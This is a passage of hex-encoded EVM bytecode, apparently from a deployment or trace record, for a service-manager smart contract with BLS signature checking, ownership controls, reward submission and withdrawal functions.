2085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909187917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612ba1913391908a908a908a90615119565b60405180910390a2505050505050565b606060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c379190614e05565b60ff16905080600003612c5857505060408051600081526020810190915290565b6000805b82811015612d0357604051633ca5a5f560e01b815260ff821660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef9190614dc3565b612cf99083614d4a565b9150600101612c5c565b506000816001600160401b03811115612d1e57612d1e614288565b604051908082528060200260200182016040528015612d47578160200160208202803683370190505b5090506000805b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd09190614e05565b60ff16811015612f5357604051633ca5a5f560e01b815260ff821660048201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa158015612e44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e689190614dc3565b905060005b81811015612f49576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa158015612ee2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f069190614e37565b60000151858581518110612f1c57612f1c614d78565b6001600160a01b039092166020928302919091019091015283612f3e81614e7a565b945050600101612e6d565b5050600101612d4e565b5090949350505050565b612f6561390f565b6001600160a01b038116612fca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b61112e81613d17565b612fdb61390f565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040516306045a9160e01b815260009030906306045a9190613031908b908b908b908b908b908b908b908b90600401615170565b602060405180830381865afa15801561304e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b491906151d2565b6065546001600160a01b031633146131075760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a401610854565b60005b818110156133d25782828281811061312457613124614d78565b905060200281019061313691906151ef565b613147906040810190602001614599565b6001600160a01b03166323b872dd333086868681811061316957613169614d78565b905060200281019061317b91906151ef565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af11580156131d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f691906151d2565b50600083838381811061320b5761320b614d78565b905060200281019061321d91906151ef565b61322e906040810190602001614599565b604051636eb1769f60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063dd62ed3e90604401602060405180830381865afa15801561329c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132c09190614dc3565b90508383838181106132d4576132d4614d78565b90506020028101906132e691906151ef565b6132f7906040810190602001614599565b6001600160a01b031663095ea7b37f00000000000000000000000000000000000000000000000000000000000000008387878781811061333957613339614d78565b905060200281019061334b91906151ef565b604001356133599190614d4a565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156133a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133c891906151d2565b505060010161310a565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063fce36c7d906123159085908590600401615276565b61342961390f565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613476868585613de6565b1495945050505050565b604080518082019091526000808252602082015261349c614196565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa905080806134cb57fe5b50806135095760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b6044820152606401610854565b505092915050565b604080518082019091526000808252602082015261352d6141b4565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa9050808061356857fe5b50806135095760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b6044820152606401610854565b6135ae6141d2565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b6040805180820190915260008082526020820152600080806136966000805160206153b283398151915286614d8e565b90505b6136a281613ee3565b90935091506000805160206153b283398151915282830983036136db576040805180820190915290815260208101919091529392505050565b6000805160206153b2833981519152600182089050613699565b6040805180820182528681526020808201869052825180840190935286835282018490526000918291906137276141f7565b60005b60028110156138e2576000613740826006615102565b905084826002811061375457613754614d78565b60200201515183613766836000614d4a565b600c811061377657613776614d78565b602002015284826002811061378d5761378d614d78565b602002015160200151838260016137a49190614d4a565b600c81106137b4576137b4614d78565b60200201528382600281106137cb576137cb614d78565b60200201515151836137de836002614d4a565b600c81106137ee576137ee614d78565b602002015283826002811061380557613805614d78565b602002015151600160200201518361381e836003614d4a565b600c811061382e5761382e614d78565b602002015283826002811061384557613845614d78565b60200201516020015160006002811061386057613860614d78565b602002015183613871836004614d4a565b600c811061388157613881614d78565b602002015283826002811061389857613898614d78565b6020020151602001516001600281106138b3576138b3614d78565b6020020151836138c4836005614d4a565b600c81106138d4576138d4614d78565b60200201525060010161372a565b506138eb614216565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b031633146121b85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610854565b606060008061397784613b6e565b61ffff166001600160401b0381111561399257613992614288565b6040519080825280601f01601f1916602001820160405280156139bc576020820181803683370190505b5090506000805b8251821080156139d4575061010081105b15612f53576001811b935085841615613a1b578060f81b8383815181106139fd576139fd614d78565b60200101906001600160f81b031916908160001a9053508160010191505b613a2481614e7a565b90506139c3565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b600080613ae784613f65565b9050808360ff166001901b11613b655760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610854565b90505b92915050565b6000805b8215613b6857613b83600184614db0565b9092169180613b9181615390565b915050613b72565b60408051808201909152600080825260208201526102008261ffff1610613bf55760405162461bcd60e51b815260206004820152601060248201526f7363616c61722d746f6f2d6c6172676560801b6044820152606401610854565b8161ffff16600103613c08575081613b68565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff1610613c7157600161ffff871660ff83161c81169003613c5457613c518484613511565b93505b613c5e8384613511565b92506201fffe600192831b169101613c24565b509195945050505050565b60408051808201909152600080825260208201528151158015613ca157506020820151155b15613cbf575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020016000805160206153b28339815191528460200151613cf29190614d8e565b613d0a906000805160206153b2833981519152614db0565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff16613dd45760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610854565b613ddd82613d17565b610c6681613a2b565b600060208451613df69190614d8e565b15613e7d5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a401610854565b8260205b85518111610e3a57613e94600285614d8e565b600003613eb857816000528086015160205260406000209150600284049350613ed1565b8086015160005281602052604060002091506002840493505b613edc602082614d4a565b9050613e81565b600080806000805160206153b283398151915260036000805160206153b2833981519152866000805160206153b2833981519152888909090890506000613f59827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f526000805160206153b28339815191526140ed565b91959194509092505050565b600061010082511115613fee5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610854565b8151600003613fff57506000919050565b6000808360008151811061401557614015614d78565b0160200151600160f89190911c81901b92505b84518110156140e45784818151811061404357614043614d78565b0160200151600160f89190911c1b91508282116140d85760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610854565b91811791600101614028565b50909392505050565b6000806140f8614216565b614100614234565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa9250828061413d57fe5b508261418b5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610854565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b60405180604001604052806141e5614252565b81526020016141f2614252565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160601b031981168114613d1257600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b03811182821017156142c0576142c0614288565b60405290565b60405161010081016001600160401b03811182821017156142c0576142c0614288565b604051601f8201601f191681016001600160401b038111828210171561431157614311614288565b604052919050565b6000806001600160401b0384111561433357614333614288565b50601f8301601f1916602001614348816142e9565b91505082815283838301111561435d57600080fd5b828260208301376000602084830101529392505050565b600082601f83011261438557600080fd5b61439483833560208501614319565b9392505050565b6001600160a01b038116811461112e57600080fd5b600080600080600080600080610100898b0312156143cd57600080fd5b8835975060208901359650604089013595506143eb60608a01614270565b94506080890135935060a08901356001600160401b0381111561440d57600080fd5b6144198b828c01614374565b93505060c0890135915060e08901356144318161439b565b809150509295985092959890939650565b60ff8116811461112e57600080fd5b60006020828403121561446357600080fd5b8135613b6581614442565b60006040828403121561448057600080fd5b61448861429e565b823581526020928301359281019290925250919050565b600082601f8301126144b057600080fd5b6144b861429e565b8060408401858111156144ca57600080fd5b845b818110156144e45780358452602093840193016144cc565b509095945050505050565b60006080828403121561450157600080fd5b61450961429e565b9050614515838361449f565b8152614524836040840161449f565b602082015292915050565b600080600080610120858703121561454657600080fd5b84359350614557866020870161446e565b925061456686606087016144ef565b91506145758660e0870161446e565b905092959194509250565b60006020828403121561459257600080fd5b5035919050565b6000602082840312156145ab57600080fd5b8135613b658161439b565b602080825282518282018190526000918401906040840190835b818110156144e45783516001600160a01b03168352602093840193909201916001016145d0565b801515811461112e57600080fd5b60006020828403121561461757600080fd5b8135613b65816145f7565b803563ffffffff81168114613d1257600080fd5b60006001600160401b0382111561464f5761464f614288565b5060051b60200190565b600082601f83011261466a57600080fd5b813561467d61467882614636565b6142e9565b8082825260208201915060208360051b86010192508583111561469f57600080fd5b602085015b838110156146c3576146b581614622565b8352602092830192016146a4565b5095945050505050565b600082601f8301126146de57600080fd5b81356146ec61467882614636565b8082825260208201915060208360061b86010192508583111561470e57600080fd5b602085015b838110156146c357614725878261446e565b8352602090920191604001614713565b600082601f83011261474657600080fd5b813561475461467882614636565b8082825260208201915060208360051b86010192508583111561477657600080fd5b602085015b838110156146c35780356001600160401b0381111561479957600080fd5b6147a8886020838a0101614659565b8452506020928301920161477b565b600061018082840312156147ca57600080fd5b6147d26142c6565b905081356001600160401b038111156147ea57600080fd5b6147f684828501614659565b82525060208201356001600160401b0381111561481257600080fd5b61481e848285016146cd565b60208301525060408201356001600160401b0381111561483d57600080fd5b614849848285016146cd565b60408301525061485c83606084016144ef565b606082015261486e8360e0840161446e565b60808201526101208201356001600160401b0381111561488d57600080fd5b61489984828501614659565b60a0830152506101408201356001600160401b038111156148b957600080fd5b6148c584828501614659565b60c0830152506101608201356001600160401b038111156148e557600080fd5b6148f184828501614735565b60e08301525092915050565b60008060006060848603121561491257600080fd5b8335925061492260208501614622565b915060408401356001600160401b0381111561493d57600080fd5b614949868287016147b7565b9150509250925092565b600081518084526020840193506020830160005b8281101561498e5781516001600160601b0316865260209586019590910190600101614967565b5093949350505050565b60408152600083516040808401526149b36080840182614953565b90506020850151603f198483030160608501526149d08282614953565b925050508260208301529392505050565b60008083601f8401126149f357600080fd5b5081356001600160401b03811115614a0a57600080fd5b602083019150836020828501011115614a2257600080fd5b9250929050565b600080600060408486031215614a3e57600080fd5b83356001600160401b03811115614a5457600080fd5b614a60868287016149e1565b909790965060209590950135949350505050565b60008060408385031215614a8757600080fd5b8235614a928161439b565b915060208301356001600160401b03811115614aad57600080fd5b830160608186031215614abf57600080fd5b604051606081016001600160401b0381118282101715614ae157614ae1614288565b60405281356001600160401b03811115614afa57600080fd5b614b0687828501614374565b8252506020828101359082015260409182013591810191909152919491935090915050565b600060208284031215614b3d57600080fd5b81356001600160401b03811115614b5357600080fd5b8201601f81018413614b6457600080fd5b614b7384823560208401614319565b949350505050565b600080600060608486031215614b9057600080fd5b8335925060208401356149228161439b565b600080600060608486031215614bb757600080fd5b8335614bc28161439b565b92506020840135614bd28161439b565b91506040840135614be28161439b565b809150509250925092565b60008060008060608587031215614c0357600080fd5b8435935060208501356001600160401b03811115614c2057600080fd5b614c2c878288016149e1565b9598909750949560400135949350505050565b600080600080600080600060e0888a031215614c5a57600080fd5b873596506020880135955060408801359450614c7860608901614270565b93506080880135925060a08801356001600160401b03811115614c9a57600080fd5b614ca68a828b01614374565b979a969950949793969295929450505060c09091013590565b60008060208385031215614cd257600080fd5b82356001600160401b03811115614ce857600080fd5b8301601f81018513614cf957600080fd5b80356001600160401b03811115614d0f57600080fd5b8560208260051b8401011115614d2457600080fd5b6020919091019590945092505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115613b6857613b68614d34565b91825260601b6001600160601b031916602082015260340190565b634e487b7160e01b600052603260045260246000fd5b600082614dab57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115613b6857613b68614d34565b600060208284031215614dd557600080fd5b5051919050565b600060208284031215614dee57600080fd5b81516001600160c01b0381168114613b6557600080fd5b600060208284031215614e1757600080fd5b8151613b6581614442565b6001600160601b038116811461112e57600080fd5b60006040828403128015614e4a57600080fd5b50614e5361429e565b8251614e5e8161439b565b81526020830151614e6e81614e22565b60208201529392505050565b600060018201614e8c57614e8c614d34565b5060010190565b600060208284031215614ea557600080fd5b8151613b658161439b565b600060208284031215614ec257600080fd5b815167ffffffffffffffff1981168114613b6557600080fd5b600060208284031215614eed57600080fd5b8151613b6581614e22565b6001600160601b038281168282160390811115613b6857613b68614d34565b63ffffffff60e01b8360e01b16815260006004820183516020850160005b82811015614f53578151845260209384019390910190600101614f35565b50919695505050505050565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b8181101561505b5760208185018101518683018201520161503f565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b03831681526040602082015260008251606060408401526150a560a0840182615035565b90506020840151606084015260408401516080840152809150509392505050565b6020815260006143946020830184615035565b6001600160601b0381811683821602908116908181146150fb576150fb614d34565b5092915050565b8082028115828204841417613b6857613b68614d34565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b8881528760208201528660408201526001600160601b03198616606082015284608082015261010060a082015260006151ad610100830186615035565b60c0830194909452506001600160a01b039190911660e0909101529695505050505050565b6000602082840312156151e457600080fd5b8151613b65816145f7565b60008235609e1983360301811261520557600080fd5b9190910192915050565b8035613d128161439b565b81835260208301925060008160005b8481101561498e57813561523c8161439b565b6001600160a01b03168652602082013561525581614e22565b6001600160601b031660208701526040958601959190910190600101615229565b6020808252810182905260006040600584901b830181019083018583609e1936839003015b8782101561538357868503603f1901845282358181126152ba57600080fd5b8901803536829003601e190181126152d157600080fd5b81016020810190356001600160401b038111156152ed57600080fd5b8060061b36038213156152ff57600080fd5b60a0885261531160a08901828461521a565b9150506153206020830161520f565b6001600160a01b031660208801526040828101359088015261534460608301614622565b63ffffffff16606088015261535b60808301614622565b63ffffffff81166080890152915095505060209384019392909201916001919091019061529b565b5092979650505050505050565b600061ffff821661ffff81036153a8576153a8614d34565b6001019291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212203440c2bb4ebecaa44bea7577804670f85f619a11d945ae9f1a6045acfe7e7db564736f6c634300081c00330000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","output":"0x6080604052600436106102345760003560e01c806395c6d6041161012e578063df5cf723116100ab578063f9120af61161006f578063f9120af614610794578063fa534dc0146107b4578063fc299dee146107d4578063fce36c7d146107f4578063fd4c3b7c1461081457600080fd5b8063df5cf723146106e8578063e481af9d1461071c578063ea5ca34b14610731578063f2fde38b14610747578063f474b5201461076757600080fd5b8063b099627e116100f2578063b099627e14610611578063b753645e1461067b578063b98d09081461069b578063c0c53b8b146106b5578063d66eaabd146106d557600080fd5b806395c6d604146105715780639926ee7d14610591578063a364f4da146105b1578063a98fb355146105d1578063ab21739a146105f157600080fd5b80634a5bf632116101bc5780636d14a987116101805780636d14a987146104a657806370a08231146104da578063715018a61461051e578063800fb61f146105335780638da5cb5b1461055357600080fd5b80634a5bf632146103a55780634ae07c37146103dd5780635df459461461040b578063683048351461043f5780636b3aa72e1461047357600080fd5b80632e1a7d4d116102035780632e1a7d4d1461030557806333cfb7b7146103255780633bc28c8c14610352578063416c7e5e146103725780634223d5511461039257600080fd5b806306045a911461024a578063137122b51461027f578063171f1d5b146102ae57806318daeeaf146102e557600080fd5b36610245576102433334610834565b005b600080fd5b34801561025657600080fd5b5061026a6102653660046143b0565b6108c9565b60405190151581526020015b60405180910390f35b34801561028b57600080fd5b5061026a61029a366004614451565b60cc54600160ff9092169190911b16151590565b3480156102ba57600080fd5b506102ce6102c936600461452f565b6109c0565b604080519215158352901515602083015201610276565b3480156102f157600080fd5b50610243610300366004614451565b610b4a565b34801561031157600080fd5b50610243610320366004614580565b610b92565b34801561033157600080fd5b50610345610340366004614599565b610c6a565b60405161027691906145b6565b34801561035e57600080fd5b5061024361036d366004614599565b61111d565b34801561037e57600080fd5b5061024361038d366004614605565b611131565b6102436103a0366004614599565b611268565b3480156103b157600080fd5b5060cb546103c5906001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103e957600080fd5b506103fd6103f83660046148fd565b611272565b604051610276929190614998565b34801561041757600080fd5b506103c57f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b34801561044b57600080fd5b506103c57f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b34801561047f57600080fd5b507f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757076103c5565b3480156104b257600080fd5b506103c57f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b3480156104e657600080fd5b506105106104f5366004614599565b6001600160a01b0316600090815260ca602052604090205490565b604051908152602001610276565b34801561052a57600080fd5b506102436121a6565b34801561053f57600080fd5b5061024361054e366004614599565b6121ba565b34801561055f57600080fd5b506033546001600160a01b03166103c5565b34801561057d57600080fd5b5061026a61058c366004614a29565b61225a565b34801561059d57600080fd5b506102436105ac366004614a74565b61227f565b3480156105bd57600080fd5b506102436105cc366004614599565b61234b565b3480156105dd57600080fd5b506102436105ec366004614b2b565b612412565b3480156105fd57600080fd5b5061024361060c366004614b7b565b612466565b34801561061d57600080fd5b5061065961062c366004614580565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff9094168452911515602084015290820152606001610276565b34801561068757600080fd5b50610243610696366004614580565b612825565b3480156106a757600080fd5b5060975461026a9060ff1681565b3480156106c157600080fd5b506102436106d0366004614ba2565b612832565b6102436106e3366004614bed565b6129f7565b3480156106f457600080fd5b506103c57f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561072857600080fd5b50610345612bb1565b34801561073d57600080fd5b5061051060cc5481565b34801561075357600080fd5b50610243610762366004614599565b612f5d565b34801561077357600080fd5b50610510610782366004614599565b60ca6020526000908152604090205481565b3480156107a057600080fd5b506102436107af366004614599565b612fd3565b3480156107c057600080fd5b5061026a6107cf366004614c3f565b612ffd565b3480156107e057600080fd5b506065546103c5906001600160a01b031681565b34801561080057600080fd5b5061024361080f366004614cbf565b613072565b34801561082057600080fd5b5061024361082f366004614451565b613421565b8060000361085d57604051632097692160e11b8152600481018290526024015b60405180910390fd5b6001600160a01b038216600090815260ca602052604081208054839290610885908490614d4a565b90915550506001600160a01b038216600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25050565b6000806001600160a01b0383166108e157508461090d565b85836040516020016108f4929190614d5d565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff1690036109325760009150506109b4565b600081815260c96020526040902054640100000000900460ff1661095a5760009150506109b4565b60408051602081018c90529081018a9052606081018990526001600160601b03198816608082015260009060940160408051601f19818403018152919052805160208201209091506109ae87898389613468565b93505050505b98975050505050505050565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610a0857610a08614d78565b60200201518951600160200201518a60200151600060028110610a2d57610a2d614d78565b60200201518b60200151600160028110610a4957610a49614d78565b602090810291909101518c518d830151604051610aa69a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610ac99190614d8e565b9050610b3c610ae2610adb8884613480565b8690613511565b610aea6135a6565b610b32610b2385610b1d604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613480565b610b2c8c613666565b90613511565b886201d4c06136f5565b909890975095505050505050565b610b5261390f565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b33600090815260ca6020526040902054811115610be35733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018390526044820152606401610854565b33600090815260ca602052604081208054839290610c02908490614db0565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a2604051339082156108fc029083906000818181858888f19350505050158015610c66573d6000803e3d6000fd5b5050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16906313542a4e90602401602060405180830381865afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa9190614dc3565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169063871ef04990602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190614ddc565b90506001600160c01b0381161580610e2357507f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190614e05565b60ff16155b15610e435760408051600080825260208201909252905b50949350505050565b6000610e57826001600160c01b0316613969565b90506000805b8251811015610f23577f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b0316633ca5a5f5848381518110610ea757610ea7614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190614dc3565b610f199083614d4a565b9150600101610e5d565b506000816001600160401b03811115610f3e57610f3e614288565b604051908082528060200260200182016040528015610f67578160200160208202803683370190505b5090506000805b8451811015611110576000858281518110610f8b57610f8b614d78565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137781690633ca5a5f590602401602060405180830381865afa158015611000573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110249190614dc3565b905060005b81811015611105576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063adc804da906044016040805180830381865afa15801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c29190614e37565b600001518686815181106110d8576110d8614d78565b6001600160a01b0390921660209283029190910190910152846110fa81614e7a565b955050600101611029565b505050600101610f6e565b5090979650505050505050565b61112561390f565b61112e81613a2b565b50565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561118f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b39190614e93565b6001600160a01b0316336001600160a01b03161461125f5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a401610854565b61112e81613a94565b61112e8134610834565b604080518082019091526060808252602082015260008260400151516040518060400160405280600181526020016000815250511480156112ce57508260a0015151604051806040016040528060018152602001600081525051145b80156112f557508260c0015151604051806040016040528060018152602001600081525051145b801561131c57508260e0015151604051806040016040528060018152602001600081525051145b6113865760405162461bcd60e51b815260206004820152604160248201526000805160206153f283398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a401610854565b825151602084015151146113fe5760405162461bcd60e51b8152602060048201526044602482018190526000805160206153f2833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a401610854565b4363ffffffff168463ffffffff161061146d5760405162461bcd60e51b815260206004820152603c60248201526000805160206153f283398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b000000006064820152608401610854565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b0381111561152e5761152e614288565b604051908082528060200260200182016040528015611557578160200160208202803683370190505b5081526020860151516001600160401b0381111561157757611577614288565b6040519080825280602002602001820160405280156115a0578160200160208202803683370190505b508160200181905250600061164c60405180604001604052806001815260200160008152507f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611623573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116479190614e05565b613adb565b905060005b8760200151518110156118dd576116968860200151828151811061167757611677614d78565b6020026020010151805160009081526020918201519091526040902090565b836020015182815181106116ac576116ac614d78565b6020908102919091010152801561176c5760208301516116cd600183614db0565b815181106116dd576116dd614d78565b602002602001015160001c836020015182815181106116fe576116fe614d78565b602002602001015160001c1161176c576040805162461bcd60e51b81526020600482015260248101919091526000805160206153f283398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f727465646064820152608401610854565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b03166304ec6351846020015183815181106117b1576117b1614d78565b60200260200101518b8b6000015185815181106117d0576117d0614d78565b60200260200101516040518463ffffffff1660e01b815260040161180d9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561182a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184e9190614ddc565b6001600160c01b03168360000151828151811061186d5761186d614d78565b6020026020010181815250506118d3610adb6118a7848660000151858151811061189957611899614d78565b602002602001015116613b6e565b8a6020015184815181106118bd576118bd614d78565b6020026020010151613b9990919063ffffffff16565b9450600101611651565b50506118e883613c7c565b60975490935060ff166000816118ff576000611981565b7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc96001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119819190614dc3565b905060005b604051806040016040528060018152602001600081525051811015612077578215611b12578963ffffffff16827f000000000000000000000000851356ae760d987e095750cceb3